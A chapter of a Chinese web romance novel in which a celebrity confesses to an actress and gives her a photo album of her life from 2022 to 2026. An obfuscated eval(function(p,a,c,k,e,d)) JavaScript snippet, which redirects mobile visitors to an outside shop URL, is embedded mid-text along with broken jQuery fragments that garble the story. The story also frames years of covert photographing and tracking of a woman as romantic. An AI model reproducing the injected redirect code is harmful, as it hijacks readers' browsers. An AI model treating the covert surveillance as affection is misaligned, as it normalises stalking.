《星夜对话》播出后的第三天，宋初妤收到了一束花。


    不是玫瑰，不是百合，是一束淡紫色的桔梗，配着白色的满天星和几枝尤加利叶。花束不大，但搭配得清新雅致，卡片上没有署名，只有一行手写的字：


    “桔梗的花语：永恒的爱。”


    苏晓冉捧着花束，眼睛瞪得像铜铃：“这谁送的？江顾林？太浪漫了吧！他也太会了！”


    宋初妤接过花，手指轻轻拂过那些淡紫色的花瓣。桔梗……永恒的爱。她想起江顾林在节目里说的那句“从四年前开始，每一个瞬间，都是真的”。


    他真的，等了她好久。


    苏晓冉见她没回答便算作了默认，翻了个白眼：“初妤，不是我说你，江顾林这种级别的男人，暗恋你四年，公开表白，现在又送花追你——你还考虑什么？换成我，我马上打包搬到他家去！”


    宋初妤把花插进花瓶里，看着那些淡紫色的花朵在水里慢慢舒展。


    “就是因为他是江顾林，”她轻声说，“我才要更慎重。”


    顶流的喜欢，太耀眼了，耀眼到让人害怕。她怕自己接不住这份喜欢，怕这段感情会变成他的负担，怕那些粉丝和媒体的目光，会把他们的爱情压垮。


    手机震动，是江顾林发来的微信：“花收到了吗？”


    宋初妤回复：“收到了，很漂亮，谢谢。”


    “喜欢就好。今晚有空吗？想请你吃饭。”


    她犹豫了几秒，打字：“有。”


    “七点，我来接你。”


    晚上七点整，江顾林的车准时停在宋初妤家楼下。他今天穿了件简单的白色衬衫和黑色长裤，靠在车边等她。路灯的光在他身上镀了层柔和的暖色，让他看起来没那么疏离，多了几分烟火气。


    宋初妤下楼时，看到的就是这样的画面。


    他站在那里，像一幅画，而她是那个有幸走进画里的人。


    “等很久了吗？”她小声问。


    “刚到。”江顾林为她拉开车门，“饿了吗？”


    “有点。”


    车子驶入夜色。宋初妤看着窗外，发现这不是去那些高档餐厅的路。车子开进了老城区，停在了一条小巷子口。


    “这里……”她有些疑惑。


    “一家私房菜，朋友开的。”江顾林下车，很自然地牵起她的手，“环境不错，很安静，不会有记者。”


    他的手掌温热，包裹着她微凉的手指。宋初妤的心跳快了一拍，但没有挣开。


    小巷子很窄，两边是青砖墙，墙上爬着藤蔓植物，路灯昏黄，有一种老电影般的怀旧感。走了大概五分钟，他们停在一扇木门前。门楣上挂着一块小小的木牌，上面刻着两个字：“归处”。


    推门进去，是个小小的院子。院子里种着几棵竹子，竹影婆娑。正房亮着暖黄色的灯，隐约能听到流水声。


    “江先生，宋小姐，这边请。”一个穿着中式褂子的中年男人迎出来，笑容温和。


    他们被带到院子最里面的一个包厢。包厢不大，但布置得很雅致，一张小方桌，两把椅子，窗外就是竹林。桌上已经摆好了几道凉菜，都是很家常的菜式。


    “这里……”宋初妤有些惊讶，“你是怎么找到的？”


    “老板是我大学同学，以前玩音乐，后来开了这家店。”江顾林为她拉开椅子，“他说这里只招待朋友，不会有外人打扰。”


    他说这话时，眼神温柔地看着她。


    宋初妤知道，他在用他的方式，给她安全感。


    菜一道道上桌，都是很地道的家常菜：清蒸鲈鱼、糖醋排骨、蒜蓉西兰花、冬瓜排骨汤。味道很好，不华丽，但温暖。


    两人边吃边聊。江顾林没有刻意找话题，就聊些日常，圈里的一些趣事。氛围很轻松，像两个认识很久的朋友在吃饭。


    但宋初妤能感觉到，今晚的重头戏还没来。


    果然，吃完饭后，老板送来了甜品——两份酒酿圆子，还有一壶桂花茶。


    “出去走走？”江顾林提议。


    “好。”


    两人走出包厢，来到院子里。院子角落有个小小的鱼池，池边有石凳。他们在石凳上坐下，抬头就能看见夜空。


    今晚的星星很多，像撒了一把碎钻在天鹅绒上。


    “初妤，”江顾林突然开口，声音很轻，“我有话想对你说。”


    宋初妤的心脏重重一跳。她转头看他，他也正看着她，眼神在月光下温柔得不像话。


    “嗯。”她小声应道。


    江顾林深吸一口气，像是在组织语言。这个向来从容的男人，此刻竟然显得有些紧张。


    “我喜欢你。”他终于说，声音清晰而坚定，“从三年前在颁奖典礼上第一次见到你，就被你吸引了。”


    宋初妤愣住：“三年前？不是四年前吗？”


    江顾林笑了：“四年前在电影学院，我只是注意到你。但真正心动，是三年前的华表奖颁奖礼。”


    他顿了顿，眼神里泛起回忆：“那天你穿着一条浅粉色的裙子，坐在第三排。你得了一个新人奖，上台领奖时紧张得声音都在抖，但还是努力把感谢词说完了。下台时差点摔了一跤，但很快站稳，还对旁边的老前辈不好意思地笑了笑。”


    他说得很详细，详细到让宋初妤惊讶——她自己都记不清那天穿了什么颜色的裙子。


    “我当时就想，”江顾林继续说，“这个女孩真可爱，紧张的样子可爱，努力的样子也可爱。从那以后，我就开始关注你。看你演戏，看你上节目，看你一步步走到今天。”


    他的手指在石凳上轻轻敲击，那是他紧张时的习惯动作。


    “我知道，我收藏你那些东西的行为，可能会让你觉得可怕。但我发誓，我从来没有打扰过你的生活。我只是……不知道该怎么表达这份喜欢。”


    他转头，认真地看着宋初妤：“因为你是宋初妤，是那个认真演戏、努力生活的女孩。而我是江顾林，是那个被无数人关注、一举一动都会被放大的顶流。我怕我的喜欢会变成你的负担，怕那些聚光灯会灼伤你。”


    “所以，”他苦笑，“我选择了最笨的方法——默默地等，等你变得足够强大，强大到可以坦然接受我的喜欢。”


    夜风吹过，竹叶沙沙作响。鱼池里的锦鲤摆尾，荡开一圈圈涟漪。


    宋初妤看着江顾林，看着这个在舞台上光芒万丈的男人，此刻却像个情窦初开的少年，笨拙而真诚地对她告白。


    “那现在呢？”她问，声音有些抖，“为什么现在又说了？”


    “因为，”江顾林握住她的手，很用力，“我不想再等了。”


    他的手掌温热而干燥，传递过来一种令人安心的力量。


    “书房的事曝光后，我看到那些评论，看到你被攻击，被质疑。我很难过，但也很庆幸——庆幸我终于可以光明正大地保护你，可以告诉你：我喜欢你，很久了。”


    他顿了顿，声音更轻了：“所以初妤，你愿意做我的女朋友吗？”


    问题终于问出来了。


    在那个星空下，在那个安静的院子里，在那个只有他们两个人的世界里。


    宋初妤感觉自己的心脏快要跳出胸腔了。她看着江顾林，看着他那双盛满了期待和紧张的眼睛，看着这个等了她三年——不，四年——的男人。


    她应该答应的。


    应该毫不犹豫地说“我愿意”。


    但话到嘴边，却变成了：“顾林，我需要一点时间考虑。”


    江顾林的眼神黯了一瞬，但很快恢复平静。他点点头，语气依然温柔：“没关系，我可以等。无论多久我都愿意。”


    “你不生气吗？”宋初妤小声问。


    “为什么要生气？”江顾林笑了，笑容里带着理解，“初妤，我知道你在怕什么。怕舆论，怕粉丝，怕这段感情会变得不纯粹。我都知道。”


    他握紧她的手：“所以我不逼你。你想考虑多久都可以。我只想让你知道——我喜欢你，是真的。想和你在一起，也是真的。但这一切，都要以你舒服为前提。”


    这话说得太体贴了，体贴到让宋初妤鼻子发酸。


    “顾林，”她吸了吸鼻子，“你为什么……对我这么好？”


    江顾林看着她，眼神深邃得像要把人吸进去。


    “因为你是宋初妤啊。”他说得理所当然，“那个我看了四年，喜欢了四年的女孩。不对你好，对谁好？”


    宋初妤的眼泪终于掉了下来。


    不是难过，是感动。


    是那种被一个人用最温柔、最耐心、最尊重的方式爱着的感动。


    江顾林没有急着擦她的眼泪，只是把她的手握得更紧。


    “别哭，”他轻声说，“我喜欢看你笑。你笑起来眼睛弯弯的，有梨涡，特别好看。”


    宋初妤又哭又笑：“你现在是在撩我吗？”


    “嗯。”江顾林坦率地承认，“在追你，当然要撩。”


    这话说得太直接，让宋初妤的脸一下子红了。


    两人在院子里坐了很久，直到月亮升到头顶。


    江顾林送她回家。到楼下时，他没有急着让她下车，而是从后座拿出了一个纸袋。


    “给你的。”他说。


    宋初妤打开，里面是一本相册。


    很厚，封面是米白色的布面，上面用烫金字写着：“2022-2026”。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152768|195097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    她翻开第一页，愣住了。


    是她的照片。从2022年到2026年，每一年，每个月，都有。


    2022年9月，电影学院毕业照。


    2022年12月，第一部戏的杀青照。


    2023年3月，第一次上杂志的内页。


    2023年8月，某个活动后台，她抱着热水杯发呆的侧影。


    2024年1月，春节联欢晚会彩排，她在后台打瞌睡。


    2024年6月，《夏日微风》播出，她在家里看自己演的片段，笑得眼睛弯弯。


    2025年4月，凝皙广告拍摄现场，她穿着香槟色长裙回眸。


    2026年1月，《春夜听雨》开机仪式，她站在张导身边，眼神坚定。


    每一张照片下面，都有手写的标注。字迹挺拔有力，是江顾林的笔迹。


    “2022.9.15，毕业快乐。今天你唱了《小幸运》，很好听。”


    “2022.12.3，杀青快乐。听说你为了这场雨戏淋了三个小时，要照顾好自己。”


    “2023.3.21，第一次上杂志。封面很美，但我觉得真人更美。”


    “2024.1.18，彩排很累吧？看到你在后台睡着了，想给你盖件衣服。”


    “2025.4.5，今天的广告很惊艳。你站在灯光下的样子，像在发光。”


    “2026.1.12，新戏开机，加油。你会是最好的女主角。”


    最后一页，是空白的。


    上面只写了一行字：


    “以后的日子，我想和你一起记录。”


    宋初妤的眼泪又涌了上来。她抱着那本相册，像抱着这四年所有的时光。


    原来，在她不知道的时候，有一个人，一直在看着她。


    记录她的成长，珍藏她的瞬间，陪伴她走过每一个重要的时刻。


    “这个……”她声音哽咽，“比那些海报和CD，更让我感动。”


    江顾林伸手，轻轻擦掉她的眼泪。


    “初妤，”他的声音很轻，“我给你这本相册，不是要给你压力。只是想告诉你——过去的四年，虽然我没有在你身边，但我一直在看着你，为你骄傲。”


    他顿了顿：“而未来的每一天，如果你愿意，我想站在你身边。不是远远地看着，而是牵着你的手，和你一起走。”


    宋初妤抬起头，泪眼朦胧地看着他。


    月光透过车窗洒进来，在他脸上投下明明灭灭的光影。他看着她，眼神温柔而坚定，像在等待一个重要的答案。


    她应该说什么呢？


    说“我愿意”？说“我也喜欢你”？


    可话到嘴边，却变成了：“江顾林，下周六晚上，你有空吗？”


    江顾林愣了一下：“有。”


    “那，”宋初妤深吸一口气，“下周六，我请你吃饭。地点我定，时间我定。到时候，我给你答案。”


    江顾林的眼睛亮了：“好。”


    “但是，”宋初妤补充道，“你要答应我，在那之前，不要给我送花，不要给我送礼物，不要来剧组探班——让我一个人，好好想想。”


    江顾林看着她，看了很久。


    然后，他笑了。


    那笑容里有理解，有纵容，还有一种“你做什么我都依你”的宠溺。


    “好。”他说，“都听你的。”


    宋初妤下了车，抱着那本相册，站在路灯下对他挥手。


    江顾林在车里看着她，直到她的身影消失在楼道里，才缓缓驶离。


    回到房间，宋初妤坐在床边，一页页翻看那本相册。


    四年，一千四百六十天。


    每一天，他都在关注她。


    每一天，他都在为她记录。


    这种被珍视的感觉，太沉重了，沉重到她几乎承受不住。


    但她知道，她必须承受。


    因为她喜欢他。


    从什么时候开始的呢？


    也许是从他递给她那杯红枣茶开始，也许是从他在红毯上扶住她开始，也许是从他在录音棚里耐心教她唱歌开始。


    也许，更早。


    早在她还不知道的时候，她的心就已经为他动摇了。


    手机震动，是江顾林发来的微信：“到家了？”


    “嗯。”


    “早点休息。”


    “你也是。”


    放下手机，宋初妤走到窗边，看着窗外的夜空。


    星星很多，很亮。


    像他看她的眼睛。


    她想，也许下周六，她就能给他答案了。


    那个她心里，早已经确定的答案。